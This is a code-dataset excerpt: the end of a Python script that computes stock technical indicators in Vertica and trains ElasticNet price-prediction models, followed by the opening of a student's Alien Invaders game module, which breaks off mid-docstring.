f\"DT_{dtpart}\"\n vdf.eval(_col, f\"DATE_PART('{dtpart}', ts)\")\n _lag = createLag(vdf, _col, lag)\n for col in output_columns: model_feats[col].append(_lag)\n category_feats.append(_lag)\n\n # LAG D-N\n max_lags = 5\n logging.debug(f\"Generating features 'Lags D-N (1 - {max_lags})'\")\n for col in output_columns:\n for i in range(1, max_lags):\n _lag = createLag(vdf, col, i)\n model_feats[col].append(_lag)\n if lag not in range(1, max_lags): ## assure main lag existence\n _lag = createLag(vdf, col, lag)\n model_feats[col].append(_lag)\n if n not in range(1, max_lags): ## assure lag N existence\n _lag = createLag(vdf, col, n)\n model_feats[col].append(_lag)\n \n\n # https://wiki.timetotrade.com/Candlestick_Tail_Size\n logging.debug(f\"Generating features 'Candlestick'\")\n vdf.eval(\"candle_head\", \"high - apply_max(ARRAY[open, close])\")\n vdf.eval(\"candle_body\", \"apply_max(ARRAY[open, close]) - apply_min(ARRAY[open, close])\")\n vdf.eval(\"candle_tail\", \"apply_min(ARRAY[open, close]) - low\")\n for candle in ['candle_head', 'candle_body', 'candle_tail']:\n _lag = createLag(vdf, candle, lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=RSI.htm\n logging.debug(f\"Generating feature 'RSI'\")\n vdf.eval(\"_up\", \"CASE WHEN close > LAG_D1_close THEN close - LAG_D1_close ELSE 0 END\")\n vdf.eval(\"_dn\", \"CASE WHEN close < LAG_D1_close THEN LAG_D1_close - close ELSE 0 END\")\n vdf.eval(\"_upavg\", f\"AVG(_up) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(\"_dnavg\", f\"AVG(_dn) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(\"RSI\", \"CASE WHEN ( _upavg + _dnavg ) <> 0 THEN ROUND(100 * ( _upavg / ( _upavg + _dnavg )), 2) ELSE 0 END\")\n analytics.append(\"RSI\")\n _lag = createLag(vdf, \"RSI\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n\n # https://www.fmlabs.com/reference/default.htm?url=SimpleMA.htm\n logging.debug(f\"Generating features 'SMA (N, 1W, 3M)'\")\n for col in output_columns:\n for interv in sma_periods:\n _interv = re.sub(r'\\W', '', interv).upper()\n _col = f\"SMA{_interv}_{col}\"\n vdf.eval(_col, f\"AVG({col}) OVER(PARTITION BY symbol ORDER BY ts RANGE BETWEEN INTERVAL '{interv}' PRECEDING AND CURRENT ROW)\")\n analytics.append(_col)\n _lag = createLag(vdf, _col, lag)\n model_feats[col].append(_lag)\n \n # https://www.fmlabs.com/reference/default.htm?url=ExpMA.htm\n logging.debug(f\"Generating features 'ExpMA (short, long)'\")\n for col in output_columns:\n for ratio in ema_ratios:\n _ratio = re.sub(r'\\D', '', ratio)\n _col = f\"EMA{_ratio}_{col}\"\n vdf.eval(_col, f\"EXPONENTIAL_MOVING_AVERAGE({col}, {ratio}) OVER (PARTITION BY symbol ORDER BY ts)\")\n analytics.append(_col)\n _lag = createLag(vdf, _col, lag)\n model_feats[col].append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=MACD.ht\n # https://www.fidelity.com/learning-center/trading-investing/technical-analysis/technical-indicator-guide/apo\n logging.debug(f\"Generating features 'MACD'\")\n for col in output_columns:\n _col = f\"MACD_{col}\"\n vdf.eval(_col, f\"EMA015_{col} - EMA0075_{col}\")\n analytics.append(_col)\n _lag = createLag(vdf, _col, lag)\n model_feats[col].append(_lag)\n numeric_feats.append(_lag) \n\n # https://www.investopedia.com/terms/p/pricerateofchange.asp\n logging.debug(f\"Generating feature 'ROC'\")\n for col in output_columns:\n _col = f\"ROC_{col}\"\n analytics.append(_col)\n vdf.eval(_col, f\"({col} - (LAG({col}, {lag}, 0) OVER(PARTITION BY symbol ORDER BY ts)) ) / (LAG({col}, {lag}, 1) OVER(PARTITION BY symbol ORDER BY ts)) * 100\")\n for ratio in ema_ratios:\n _ratio = re.sub(r'\\D', '', ratio)\n _col = f\"ROC_EMA{_ratio}_{col}\"\n vdf.eval(_col, f\"EXPONENTIAL_MOVING_AVERAGE(ROC_{col}, {ratio}) OVER (PARTITION BY symbol ORDER BY ts)\")\n analytics.append(_col)\n _lag = createLag(vdf,_col, lag)\n model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=Momentum.htm\n logging.debug(f\"Generating feature 'Momentum'\")\n for col in output_columns:\n _col = f\"MMT_{col}\"\n vdf.eval(_col, f\"{col} - LAG_D{n}_{col}\")\n analytics.append(_col)\n _lag = createLag(vdf, _col, lag)\n model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=DMI.htm\n logging.debug(f\"Generating feature 'DMI'\")\n for col in output_columns:\n _col = f\"DMI_{col}\"\n vdf.eval(f\"sd_{col}\", f\"STDDEV({col}) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN 5 PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(f\"asd_{col}\", f\"CASE WHEN sd_{col} > 0 THEN sd_{col} ELSE 0 END / AVG(CASE WHEN sd_{col} > 0 THEN sd_{col} ELSE 1 END) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN 10 PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(_col, f\"CASE WHEN asd_{col} > 0 THEN ( 14 / asd_{col} ) ELSE 0 END\")\n analytics.append(_col)\n _lag = createLag(vdf, _col, lag)\n model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.investopedia.com/terms/v/vwap.asp\n logging.debug(f\"Generating feature 'VWAP'\")\n vdf.eval(\"VWAP\", \"(volume * ((high + low + close) / 3)) / volume\")\n analytics.append(\"VWAP\")\n _lag = createLag(vdf, \"VWAP\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n \n\n # https://www.fmlabs.com/reference/default.htm?url=StochasticOscillator.htm\n logging.debug(f\"Generating feature 'STOCH'\")\n vdf.eval(\"highest_high\", f\"MAX(high) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(\"lowest_low\", f\"MIN(low) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(\"STOCH\", \"100 * ((close - lowest_low) / (highest_high - lowest_low))\")\n analytics.append(\"STOCH\")\n for ratio in ema_ratios:\n _ratio = re.sub(r'\\D', '', ratio)\n _col = f\"STOCH_EMA{_ratio}\"\n vdf.eval(_col, f\"EXPONENTIAL_MOVING_AVERAGE(STOCH, {ratio}) OVER (PARTITION BY symbol ORDER BY ts)\")\n analytics.append(_col)\n _lag = createLag(vdf, _col, lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n \n # https://www.fmlabs.com/reference/default.htm?url=WilliamsR.htm\n #logging.debug(f\"Generating feature 'Williams %R'\")\n vdf.eval(\"WILLR\", \"100 * ((highest_high - close) / (highest_high - lowest_low))\")\n analytics.append(\"WILLR\")\n for ratio in ema_ratios:\n _ratio = re.sub(r'\\D', '', ratio)\n _col = f\"WILLR_EMA{_ratio}\"\n vdf.eval(_col, f\"EXPONENTIAL_MOVING_AVERAGE(WILLR, {ratio}) OVER (PARTITION BY symbol ORDER BY ts)\")\n analytics.append(_col)\n _lag = createLag(vdf, _col, lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=OBV.htm\n logging.debug(f\"Generating feature 'OBV'\")\n vdf.eval(\"_bv\", \"CASE WHEN close > LAG_D1_close THEN ABS(volume) WHEN close < LAG_D1_close THEN ABS(volume) * -1 ELSE volume END\")\n vdf.eval(\"OBV\", \"LAG(_bv, 1) OVER(PARTITION BY symbol ORDER BY ts) + _bv\")\n analytics.append(\"OBV\")\n _lag = createLag(vdf, \"OBV\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=DI.htm\n logging.debug(f\"Generating feature 'DI'\")\n vdf.eval(\"_delta_high\", \"LAG(high, 1) OVER(PARTITION BY symbol ORDER BY ts) - high\")\n vdf.eval(\"_delta_low\", \"low - LAG(low, 1) OVER(PARTITION BY symbol ORDER BY ts)\")\n vdf.eval(\"_plus_dm\", \"CASE WHEN ( _delta_high < 0 AND _delta_low < 0 ) OR _delta_high = _delta_low THEN 0 WHEN _delta_high > _delta_low THEN _delta_high ELSE 0 END\")\n vdf.eval(\"_minus_dm\", \"CASE WHEN ( _delta_high < 0 AND _delta_low < 0 ) OR _delta_high = _delta_low THEN 0 WHEN _delta_high > _delta_low THEN 0 ELSE _delta_low END\")\n vdf.eval(\"_plus_dm_sum\", f\"LAG(_plus_dm, 1) OVER(PARTITION BY symbol ORDER BY ts) - (LAG(_plus_dm, 1) OVER(PARTITION BY symbol ORDER BY ts) / {n}) + _plus_dm\")\n vdf.eval(\"_minus_dm_sum\", f\"LAG(_minus_dm, 1) OVER(PARTITION BY symbol ORDER BY ts) - (LAG(_minus_dm, 1) OVER(PARTITION BY symbol ORDER BY ts) / {n}) + _minus_dm\")\n vdf.eval(\"_tr\", \"apply_max(ARRAY[ high, LAG_D1_close ]) - apply_min(ARRAY[ low, LAG_D1_close ])\")\n vdf.eval(\"_tr_sum\", f\"LAG(_tr, 1) OVER(PARTITION BY symbol ORDER BY ts) - (LAG(_tr, 1) OVER(PARTITION BY symbol ORDER BY ts) / {n}) + _tr\")\n vdf.eval(\"pDI\", \"CASE WHEN _tr_sum = 0 THEN 0 ELSE (100 * (_plus_dm_sum / _tr_sum)) END\")\n vdf.eval(\"mDI\", \"CASE WHEN _tr_sum = 0 THEN 0 ELSE (100 * (_minus_dm_sum / _tr_sum)) END\")\n # https://www.fmlabs.com/reference/default.htm?url=DX.htm\n logging.debug(f\"Generating feature 'DX'\")\n vdf.eval(\"DX\", \"CASE WHEN (pDI + mDI) = 0 THEN 0 ELSE ((pDI - mDI) / (pDI + mDI)) END\")\n _lag = createLag(vdf, \"DX\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n # https://www.fmlabs.com/reference/default.htm?url=ADX.htm\n logging.debug(f\"Generating feature 'ADX'\")\n vdf.eval(\"ADX\", f\"AVG(DX) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n analytics.append(\"ADX\")\n _lag = createLag(vdf, \"ADX\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n # https://www.fmlabs.com/reference/default.htm?url=ADXR.htm\n logging.debug(f\"Generating feature 'ADXR'\")\n vdf.eval(\"ADXR\", f\"apply_avg(ARRAY[ ADX, LAG(ADX, {n}) OVER(PARTITION BY symbol ORDER BY ts) ] )\")\n analytics.append(\"ADXR\")\n _lag = createLag(vdf, \"ADXR\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n\n # https://www.marketvolume.com/stocks/bop.asp\n logging.debug(f\"Generating feature 'BOP'\")\n vdf.eval(\"_bop\", f\"CASE WHEN (high - low) = 0 THEN 0 ELSE (close - open) / (high - low) END\")\n vdf.eval(\"BOP\", f\"AVG(_bop) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n analytics.append(\"BOP\")\n _lag = createLag(vdf, \"BOP\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.investopedia.com/articles/active-trading/031914/how-traders-can-utilize-cci-commodity-channel-index-trade-stock-trends.asp\n # https://www.fidelity.com/learning-center/trading-investing/technical-analysis/technical-indicator-guide/cci\n # CCI = (TP - SMA_of_TP) / (0.015 * Mean Deviation)\n logging.debug(f\"Generating feature 'CCI'\")\n vdf.eval(\"SMATP\", f\"AVG(TP) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(\"MEDEV\", f\"AVG(ABS(SMATP-TP)) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\") \n vdf.eval(\"CCI\", \"CASE WHEN MEDEV <> 0 THEN (TP - SMATP) / (0.015 * MEDEV) ELSE 0 END\")\n analytics.append(\"CCI\")\n _lag = createLag(vdf, \"CCI\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=CMO.htm\n logging.debug(f\"Generating feature 'CMO'\")\n vdf.eval(\"_ups\", f\"SUM(_up) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(\"_downs\", f\"SUM(_dn) OVER(PARTITION BY symbol ORDER BY ts ROWS BETWEEN {n} PRECEDING AND 0 FOLLOWING)\")\n vdf.eval(\"CMO\", \"CASE WHEN (_ups + _downs) <> 0 THEN (100 * ((_ups - _downs)/(_ups + _downs)) ) ELSE 0 END\")\n analytics.append(\"CMO\")\n _lag = createLag(vdf, \"CMO\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=MFI.htm\n logging.debug(f\"Generating feature 'MFI'\")\n vdf.eval(\"MFI\", \"CASE WHEN volume <> 0 THEN (high - low) / volume ELSE 0 END\")\n analytics.append(\"MFI\")\n _lag = createLag(vdf, \"MFI\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n \n # https://www.fmlabs.com/reference/default.htm?url=ATR.htm\n logging.debug(f\"Generating feature 'ATR'\")\n vdf.eval(\"TR\", \"apply_max(ARRAY[ high, LAG_D1_close ]) - apply_min(ARRAY[ low, LAG_D1_close ])\")\n vdf.eval(\"ATR\", f\"EXPONENTIAL_MOVING_AVERAGE(TR, {1/n}) OVER (PARTITION BY symbol ORDER BY ts)\")\n analytics.append(\"ATR\")\n _lag = createLag(vdf, \"ATR\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=ChaikinVolatility.htm\n logging.debug(f\"Generating feature 'CHKVOL'\")\n vdf.eval(\"UEMAHL\", f\"EXPONENTIAL_MOVING_AVERAGE(high - low, {1/n}) OVER (PARTITION BY symbol ORDER BY ts)\")\n vdf.eval(\"EMAHL\", \"CASE WHEN UEMAHL > 0 THEN UEMAHL ELSE 1 END\")\n vdf.eval(\"CHKVOL\", f\"(EMAHL - LAG(EMAHL, {n}, 0) OVER (PARTITION BY symbol ORDER BY ts)) / (LAG(EMAHL, {n}, 1) OVER (PARTITION BY symbol ORDER BY ts) * 100)\")\n analytics.append(\"CHKVOL\")\n _lag = createLag(vdf, \"CHKVOL\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n\n # https://www.fmlabs.com/reference/default.htm?url=ChaikinMoneyFlow.htm\n # https://www.fmlabs.com/reference/default.htm?url=ChaikinOscillator.htm\n # https://www.investopedia.com/terms/a/aroon.asp\n #logging.debug(f\"Generating feature 'AROON'\")\n\n\n # Last step before exporting the data is to normalize the numerical columns and to get the dummies of the different categories.\n logging.info(f\"Normalizing numeric fetures: {numeric_feats}\")\n vdf.normalize(method = \"minmax\", columns = numeric_feats)\n logging.info(f\"Creatings dummies for category fetures: {category_feats}\")\n vdf.get_dummies(drop_first = True, columns = category_feats)\n\n #Drop category columns, leave only the correspondent dummies\n new_dummy_feats = {}\n for dummy in [c.replace('\"', '') for c in vdf.get_columns(key_columns+input_columns+analytics+numeric_feats+category_feats)]:\n col = re.sub(r'_\\d+$', '', dummy)\n if col in category_feats:\n new_dummy_feats[col] = new_dummy_feats.get(col,[]) + [dummy]\n vdf.drop(category_feats)\n for model in model_feats:\n for col in category_feats:\n if col in model_feats[model]:\n model_feats[model].remove(col)\n model_feats[model] += new_dummy_feats[col]\n\n ## flatten the list of lists and dedup\n all_models_feats = []\n for col in model_feats:\n all_models_feats += model_feats[col]\n all_models_feats = list(set(all_models_feats))\n\n ## MATERIALIZE\n vdf = vdf.select(key_columns+input_columns+analytics+all_models_feats) #[c for c in vdf.get_columns(input_columns) if c.startswith(\"\\\"LAG_\")])\n #vdf.dropna(columns=vdf.get_columns(input_columns))\n return materializeVdf(vdf), model_feats, all_models_feats, analytics\n\ndef createLag(vdf:vDataFrame, col:str, lag=1):\n _col = f'LAG_D{lag}_{col}'\n vdf.eval(_col, f\"LAG({col}, {lag}) OVER(PARTITION BY symbol ORDER BY ts)\")\n return _col\n\ndef runFeatureDecomposition(vdf, model_columns, out_col):\n pca_model_name = getRelation(f\"PCA_{out_col}__{input_table}\")\n\n if pca_models.get(pca_model_name, None) == None:\n logging.info(f\"Creating new PCA Model: {pca_model_name}\")\n pca_models[pca_model_name] = PCA(pca_model_name)\n try: pca_models[pca_model_name].drop()\n except: logging.debug(f\"Creating PCA Model in the database: {pca_model_name}\")\n try: pca_models[pca_model_name].fit(vdf.current_relation(), model_columns+['idx']) \n except: logging.error(f\"Error Training PCA model {pca_model_name}\")\n\n if pca_models.get(pca_model_name, None) != None:\n logging.info(f\"Using PCA model: '{pca_model_name}' on '{out_col}'\")\n pca_vdf = pca_models[pca_model_name].to_vdf(key_columns=['idx'])\n vdf = vdf.join(\n input_relation=pca_vdf,\n expr1=key_columns+input_columns+model_columns,\n expr2=pca_vdf.get_columns(['idx']))\n vdf.sort({\"symbol\":\"desc\", \"ts\": \"desc\"})\n #print(pca_model.explained_variance)\n print(vdf)\n pca_training_table = dropTable(f\"PCA_{out_col}_training__{input_table}\")\n vdf.to_db(pca_training_table, relation_type=\"table\", inplace=False)\n model_columns = [str(c).replace('\"','') for c in vdf.get_columns(key_columns+input_columns)]\n return vDataFrame(pca_training_table), model_columns\n\n return vdf, model_columns\n\ndef trainModels(inpt_table=input_table):\n ## =========================================== ###\n inpt_table = getRelation(inpt_table)\n max_iterations = 50000\n\n logging.info(f\"Training new models ...\")\n training_vdf, models_feats, all_models_feats = createTrainingDataFrame()\n \n logging.info(f\"Training features: {len(all_models_feats)}\")\n ## https://matplotlib.org/3.1.0/tutorials/colors/colormaps.html\n for out_col in output_columns:\n #logging.info(f\"Running '{out_col}' Feature Decomposition\")\n #_model_columns = [c for c in model_columns if c != out_col and (c.find(out_col)>0 or c.endswith(\"_all\")) ]\n #_training_vdf, _model_columns = runFeatureDecomposition(training_vdf, _model_columns, out_col)\n _model_columns = models_feats[out_col]\n _training_vdf = training_vdf.select(key_columns+input_columns+_model_columns).to_db(dropTable(f\"ENET__{out_col}_training\"), relation_type=\"table\", inplace = True)\n\n enet_model_name = getRelation(f\"ENET__{out_col}\")\n logging.info(f\"Creating model: {enet_model_name}, iter: {max_iterations}, n_cols: {len(_model_columns)}, cols: {_model_columns}\")\n model = ElasticNet(enet_model_name, max_iter=max_iterations, penalty='None', solver='BFGS')\n try: model.drop()\n except: logging.info(\"Creating new ENET Model...\")\n #try: model.fit(training_vdf.current_relation(), model_columns, out_col)\n #except: logging.error(f\"Error Training ENET model {enet_model_name}\")\n model.fit(_training_vdf.current_relation(), _model_columns, out_col)\n print(model.regression_report())\n logging.info(f\"Model '{out_col}' Score: {model.score(method='r2')}\")\n enet_models[out_col] = model\n\n return training_vdf, models_feats\n\ndef simulateNextDay(simulation_name='default'):\n logging.info(f\"========= Running simulation '{simulation_name}' ========= \")\n\n if len(enet_models) <= 0:\n logging.error(\"no models found!\")\n return None\n\n vdf, _, next_day = createSimulationDataFrame()\n\n # create all needed lag columns\n tmp, models_feats, _ , analytics = generateFeatures(vdf)\n #vdf.filter(f\"(ts = '{next_day}'::TIMESTAMP OR ts = '{next_day - datetime.timedelta(days=1)}'::TIMESTAMP)\")\n predicted_cols = []\n for out_col in [c for c in output_columns if enet_models.get(c, None) != None]:\n #logging.info(f\"Running Feature Decomposition: {out_col}\")\n #_vdf, _model_columns = runFeatureDecomposition(vdf, model_columns, out_col)\n\n _model_columns = models_feats[out_col]\n pred_col = f\"pred_{out_col}\"\n logging.debug(f\"Predicting '{out_col}', cols: {_model_columns}\")\n enet_models[out_col].predict(vdf, name = pred_col)\n predicted_cols.append(pred_col)\n\n #pred_value = vdf.to_pandas().at[0,pred_col]\n #logging.info(f\"Predicted value of '{out_col}': {pred_value}\")\n #vdf = vdf.select(key_columns+input_columns+predicted_cols)\n #print(vdf)\n simul_res_table = dropTable(f\"{input_table}__analysis\")\n vdf.to_db(simul_res_table, usecols=key_columns+input_columns+analytics+predicted_cols, relation_type=\"table\", inplace=True)\n\n #vdf.plot('ts', ['close', 'pred_close'])\n # post simulation processing\n '''\n vdf.eval(\"volume\", \"ABS(pred_volume)::INTEGER\")\n vdf.eval(\"close\", \"ROUND(ABS(pred_close), 2)\")\n vdf.eval(\"open\", \"ROUND(( LAG(close, 1) OVER(PARTITION BY symbol ORDER BY ts) + ABS(pred_open) ) * 0.5, 2)\")\n vdf.eval(\"low\", \"ROUND(apply_min(ARRAY[ open, close, ABS(pred_high), ABS(pred_low) ]), 2)\")\n vdf.eval(\"high\", \"ROUND(apply_max(ARRAY[ open, close, ABS(pred_high), ABS(pred_low) ]), 2)\")\n \n # save vdf to database, as a table\n simul_res_table = dropTable(f\"{input_table}__{simulation_name}_prediction\")\n vdf.to_db(simul_res_table, usecols=key_columns+outpt_columns, relation_type=\"table\", inplace=True)\n dropTable(tmp)\n logging.info(f\"Merging {simul_res_table} into {vdf_table}\")\n mergeSimulationData(vdf_table, simul_res_table)\n '''\n \n return next_day\n\ndef createIndexDataframe():\n return vDataFrame(getRelation()).filter(\"symbol in (select symbol from stocks.stock_symbols where industry = 'index')\").asfreq('ts', '1 day', {\n 'volume' : 'ffill',\n 'close' : 'ffill',\n 'open' : 'ffill',\n 'high' : 'ffill',\n 'low' : 'ffill'\n }, by=['symbol'])\n\ndef createTrainingDataFrame():\n logging.info(\"Preparing the training data...\") \n\n predicate = \"symbol in (select symbol from stocks.stock_symbols where industry != 'index')\"\n vdf = vDataFrame(getRelation(input_table)).filter(predicate).asfreq('ts', '1 day', {\n 'volume' : 'ffill',\n 'close' : 'ffill',\n 'open' : 'ffill',\n 'high' : 'ffill',\n 'low' : 'ffill'\n }, by=['symbol'])\n\n if vdf.empty():\n logging.warning(\"No data points!\")\n return vdf, {}, []\n\n vdf_existing_cols = [str(c).replace('\"','') for c in vdf.get_columns()]\n inpt_columns = [c for c in input_columns if c in vdf_existing_cols]\n\n # create all needed lag columns for weeks and months analysis\n #print(vdf)\n tmp, models_feats, all_models_feats, _ = generateFeatures(vdf)\n\n vdf.dropna(all_models_feats)\n # normalize only model columns\n #model_columns = vdf.get_columns(key_columns+input_columns)\n #model_columns = [str(c).replace('\"','') for c in model_columns]\n #model_columns = [c for c in model_columns if c.startswith(\"LAG_\")]\n #vdf.dropna(model_columns)\n #vdf.normalize(columns = [c for c in model_columns if c.find(\"volume\")>0 ], method = \"minmax\")\n #vdf.normalize(columns = model_columns, method = \"minmax\")\n vdf_final_columns = key_columns+inpt_columns+all_models_feats\n\n # create a index\n #vdf.sort(key_columns).eval(\"idx\", \"ROW_NUMBER() OVER ()\")\n\n # save vdf to database, as a table\n new_vdf_relation = dropTable(f\"{input_table}__training\")\n #vdf.to_db(new_vdf_relation, usecols=[\"idx\"]+vdf_final_columns, relation_type=\"table\", inplace=True)\n vdf.to_db(new_vdf_relation, usecols=vdf_final_columns, relation_type=\"table\", inplace=True)\n logging.info(f\"Dataframe saved as: {new_vdf_relation}\")\n dropTable(tmp)\n\n return vdf, models_feats, all_models_feats\n\ndef createSimulationDataFrame(simulation_name='default', inpt_table=input_table):\n logging.info(f\"Creating simulation dataframe...\")\n inpt_table = getRelation(inpt_table)\n simulation_table = dropTable(f\"{input_table}__{simulation_name}_simulation\")\n\n # generate next data points\n from_day = getDbLastTimestamp(table_name=inpt_table)\n next_day = next_business_day(from_day.date())\n #to_day = next_holiday_day(next_day) - datetime.timedelta(days=1)\n logging.info(f\"Simulation: {from_day} -> {next_day} , input: {inpt_table}, output: {simulation_table}\")\n new_data_points = vdf_from_relation(f\"(select distinct '{next_day}'::TIMESTAMP ts, symbol, Null::NUMERIC open, Null::NUMERIC high, Null::NUMERIC low, Null::NUMERIC close, Null::NUMERIC volume from {inpt_table}) new_points\")\n #print(new_data_points)\n\n ## merge the historic data with the simulated points\n predicates = [\"symbol in (select symbol from stocks.stock_symbols where industry != 'index')\", f\"ts >= ADD_MONTHS('{from_day}', -24)::TIMESTAMP\"]\n vdf = vDataFrame(getRelation(input_table)).filter(conditions=predicates).append(new_data_points).asfreq('ts', '1 day', {\n 'volume' : 'ffill',\n 'close' : 'ffill',\n 'open' : 'ffill',\n 'high' : 'ffill',\n 'low' : 'ffill'\n }, by=['symbol']).sort(key_columns)#.eval(\"idx\", \"ROW_NUMBER() OVER ()\")\n\n ## MATERIALIZE\n vdf.to_db(simulation_table, relation_type=\"table\", inplace=True)\n vdf.sort({\"symbol\":\"desc\", \"ts\": \"desc\"})\n \n # TODO create projections in simulation_table\n logging.info(f\"Simulation Dataframe saved as: {simulation_table}\")\n\n return vdf, simulation_table, next_day\n\n\n\n\n\n## PROCESS ALL TARGET SYMBOLS\nrunProcess()\n\n# %%\n","sub_path":"vertica_service.py","file_name":"vertica_service.py","file_ext":"py","file_size_in_byte":34154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"169894726","text":"\"\"\"\nSubcontroller module for Alien Invaders\n\nThis module contains the subcontroller to manage a single level or wave in the Alien\nInvaders game. Instances of Wave represent a single wave. Whenever you move to a\nnew level, you are expected to make a new instance of the class.\n\nThe subcontroller Wave manages the ship, the aliens and any laser bolts on screen. \nThese are model objects. Their classes are defined in models.py.\n\nMost of your work on this assignment will be in either this module or models.py.\nWhether a helper method belongs in this module or models.py is often a complicated\nissue. If you do not know, ask on Piazza and we will answer.\n\n# Author: Komukill Loganathan (kl866)\n# Date: November 30, 2017\n\"\"\"\n\nfrom game2d import *\nfrom consts import *\nfrom models import *\nimport random\n\n# PRIMARY RULE: Wave can only access attributes in models.py via getters/setters\n# Wave is NOT allowed to access anything in app.py (Subcontrollers are not permitted \n# to access anything in their parent. To see why, take CS 3152)\n\n\nclass Wave(object):\n \"\"\"\n This class controls a single level or wave of Alien Invaders.\n \n This subcontroller has a reference to the ship, aliens, and any laser bolts on screen. \n It animates the laser bolts, removing any aliens as necessary. It also marches the\n aliens back and forth across the screen until they are all destroyed or they reach\n the defense line (at which point the player loses). When the wave is complete, you \n should create a NEW instance of Wave (in Invaders) if you want to make a new wave of \n aliens.\n \n If you want to pause the game, tell this controller to draw, but do not update. See \n subcontrollers.py from Lecture 24 for an example. This class will be similar to\n than one in how it interacts with the main class Invaders.\n \n #UPDATE ME LATER\n INSTANCE ATTRIBUTES:\n _ship: the player ship to control [Ship]\n _aliens: the 2d list of aliens in the wave [rectangular 2d list of Alien or None] \n _bolts: the laser bolts currently on screen [list of Bolt, possibly empty]\n _dline: the defensive line being protected [GPath]\n _lives: the number of lives left [int >= 0]\n _time: The amount of time since the last Alien \"step\" [number >= 0]\n \n As you can see, all of these attributes are hidden. You may find that you want to\n access an attribute in class Invaders. It is okay if you do, but you MAY NOT ACCESS \n THE ATTRIBUTES DIRECTLY. You must use a getter and/or setter for any attribute that \n you need to access in Invaders. Only add the getters and setters that you need for \n Invaders. You can keep everything else hidden.\n \n You may change any of the attributes above as you see fit. For example, may want to \n keep track of the score. You also might want some label objects to display the score\n and number of lives. If you make changes, please list the changes with the invariants.\n \n LIST MORE ATTRIBUTES (AND THEIR INVARIANTS) HERE IF NECESSARY\n _direction: the direction the aliens march towards [string, either 'right' or 'left']\n _previouskeys: the number of keys pressed in the previous frame [int>=0]\n _firespeed: randomly generated, number of steps by aliens to fire [int>=1, int<=BOLT_RATE]\n _step: steps taken by aliens, cumulative but gets reset to 0 after firing bolt[int>=0]\n _gameover: is the game over, True for yes, False for no [bool]\n _won: did the player win, True for yes, False for no [bool]\n \"\"\"\n \n # GETTERS AND SETTERS (ONLY ADD IF YOU NEED THEM)\n def getWon(self):\n \"\"\"\n Returns whether the player has won\n \"\"\"\n return self._won\n \n \n def getLives(self):\n \"\"\"\n Returns the number of lives remaining\n \"\"\"\n return self._lives\n \n \n def getShip(self):\n \"\"\"\n Returns player ship\n \"\"\"\n return self._ship\n \n \n def getGameOver(self):\n \"\"\"\n Returns a bool value that indicates whether the game is over\n \"\"\"\n return self._gameover\n \n \n # INITIALIZER (standard form) TO CREATE SHIP AND ALIENS\n def __init__(self):\n \"\"\"\n Initializer: creates ship, defense line, and wave of aliens\n \"\"\"\n self._lives = SHIP_LIVES\n self._aliens = self._createAlienWave(); \n self._ship = Ship()\n self._dline = GPath(points=[0,DEFENSE_LINE,GAME_WIDTH,DEFENSE_LINE],\n linewidth=1.5, linecolor='black')\n self._time = 0\n self._direction = 'right'\n self._bolts = []\n self._previouskeys = 0\n self._firespeed = random.randint(1, BOLT_RATE)\n self._step = 0\n self._gameover = False\n self._won = False\n \n \n # UPDATE METHOD TO MOVE THE SHIP, ALIENS, AND LASER BOLTS\n def update(self, input, dt):\n \"\"\"\n Animates the movement of the ship, aliens and laser bolts\n \n This method is called in the update() method of Invaders to help in\n moving the ship, aliens and laser bolts.\n \n Parameter input: the 